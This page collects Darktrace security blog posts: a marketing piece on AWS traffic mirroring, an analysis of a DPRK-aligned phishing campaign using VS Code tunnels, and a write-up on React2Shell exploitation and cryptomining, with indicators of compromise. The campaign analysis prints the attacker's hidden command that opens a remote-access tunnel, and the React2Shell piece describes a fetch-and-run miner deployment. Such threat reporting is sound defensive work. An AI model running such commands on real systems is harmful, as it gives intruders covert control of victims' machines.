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March 9, 2021

How VPC Traffic Mirroring Boosts Darktrace Security

Find out how Amazon VPC Traffic Mirroring enhances Darktrace's cloud security. Learn about its impact on advanced threat detection and management.
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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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09
Mar 2021

Darktrace's Cyber AI brings real-time visibility and adaptive, autonomous defense to your AWS cloud security strategy.

The platform continuously learns what normal behavior looks like for every user, device, and workload in your AWS environment. With this deep understanding of usual ‘patterns of life,’ Darktrace  can recognize the subtle deviations that point to a threat, from account takeovers to critical misconfigurations.

This bespoke, real-time knowledge of usual activity allows Darktrace to spot the unknown and unpredictable threats that get through policy-based defenses – all without relying on any rules, signatures, or prior assumptions.

With Amazon Virtual Private Cloud (Amazon VPC) Traffic Mirroring, Darktrace’s self-learning AI can seamlessly access granular packet data in AWS cloud environments, helping the platform build a rich understanding of context. AWS’s recent announcement of the extension of VPC Traffic Mirroring to non-Nitro instance types now allows our customers to gain agentless Cyber AI defense across these instances as well.

Expanding VPC traffic mirroring to non-Nitro instances

Amazon VPC Traffic Mirroring replicates the network traffic from EC2 instances within VPCs and allows customers to leverage this traffic for Darktrace’s AI-driven threat detection and investigation. Darktrace’s Cyber AI learns ‘on the job’ what normal activity looks like in customer AWS environments, in part using the real-time visibility provided by VPC Traffic Mirroring. The platform continuously adapts as each customer’s business evolves, a critical feature given the speed and scale of development in the cloud.

Previously, customers could only enable VPC Traffic Mirroring on their Nitro-based EC2 instances. Now, AWS has announced that this seamless access to hundreds of features from network traffic is extended to select non-Nitro instance types, supporting Darktrace’s ability to easily learn the bespoke behavioral patterns of our customers’ Amazon VPCs.

Customers can now enable VPC Traffic Mirroring on additional instances types such as C4, D2, G3, G3s, H1, I3, M4, P2, P3, R4, X1 and X1e that use the Xen-based hypervisor.* This feature is available in all 20 regions where VPC Traffic Mirroring is currently supported.

VPC Traffic Mirroring supports many of Darktrace’s extensive use cases across AWS, which include:

  • Data exfiltration and destruction: Detects anomalous device connections and user access, as well as unusual resource deletion, modification, and movement;
  • Critical misconfigurations: Catches open S3 buckets, anomalous permission changes, and unusual activity around compliance-related data and devices;
  • Compromised credentials: Spots unusual logins, including brute force attempts and unusual login source/time, as well as unusual user behavior, from rule changes to password resets;
  • Insider threat and admin abuse: Identifies the subtle signs of malicious insiders – including sensitive file access, resource modification, role changes, and adding/deleting users.

Figure 1: Darktrace illuminates activity in AWS

Autonomous investigation and response for AWS cloud environments

The Darktrace Security Module for AWS provides additional visibility across AWS environments via interaction with AWS CloudTrail, allowing for AI-powered monitoring of management and administration activity. With this deep knowledge of how your business operates in the cloud, Darktrace delivers total coverage across all your AWS services, including:

  • EC2
  • IAM
  • S3
  • VPC
  • Lambda
  • Athena
  • DynamoDB
  • Route 53
  • ACM
  • RDS

The recently announced Version 5 of the Darktrace, which focuses on protecting the cloud and the remote workforce, further augments Darktrace’s coverage of AWS environments. Among many other exciting new features, Version 5 extends the reach of Cyber AI Analyst and Darktrace RESPOND to cloud environments like AWS VPCs.

Cyber AI Analyst augments the work of security teams by autonomously reporting on the full scope of security incidents and reduces triage time by up to 92%. Cyber AI Analyst can now also conduct on-demand investigations into users and devices of interest, ingest third-party alerts to trigger new investigations, and automatically feed AI-generated Incident Reports to any SIEM, SOAR, or downstream ticketing system.

Meanwhile, Darktrace RESPOND brings Autonomous Response to the critical infrastructure which AWS VPCs provide. Darktrace's responses are surgically precise and intelligently maintain normal business operations while stopping emerging threats in real time.**

“Darktrace's innovations are outstanding and have really meshed with our current needs as a security team, from the flexibility of our new cloud-delivered deployment to the extended visibility of the Darktrace Client Sensors.”

– CISO, Real Estate

We have also launched a dedicated user interface for visualization and intuitive analysis of cloud-based threats identified across AWS via the Darktrace Security Module.

Self-Learning AI defense across the enterprise

Darktrace offers AI-driven defense of cloud infrastructure in AWS, as well as across SaaS applications, email, corporate networks, industrial systems, and remote endpoints. Taking a fundamentally unique approach, Darktrace provides the industry’s only self-learning platform that gives complete coverage and visibility across the organization.

This is a critical benefit, as businesses and workforces today are increasingly complex and dynamic. Darktrace can connect the dots between unusual behavior in disparate infrastructure areas and ensure cloud security is not siloed from the monitoring of the rest of the organization.

Darktrace’s adaptive and unified approach allows the solution to detect, investigate, and respond to the full range of threats facing the enterprise – even those unpredictable threats that move across dynamic and diverse environments.

Learn more about Darktrace and AWS

* VPC Traffic Mirroring is not supported on the T2, R3 and I2 instance types and previous generation instances.
** This product is only available in AWS for customers who leverage Darktrace osSensors.

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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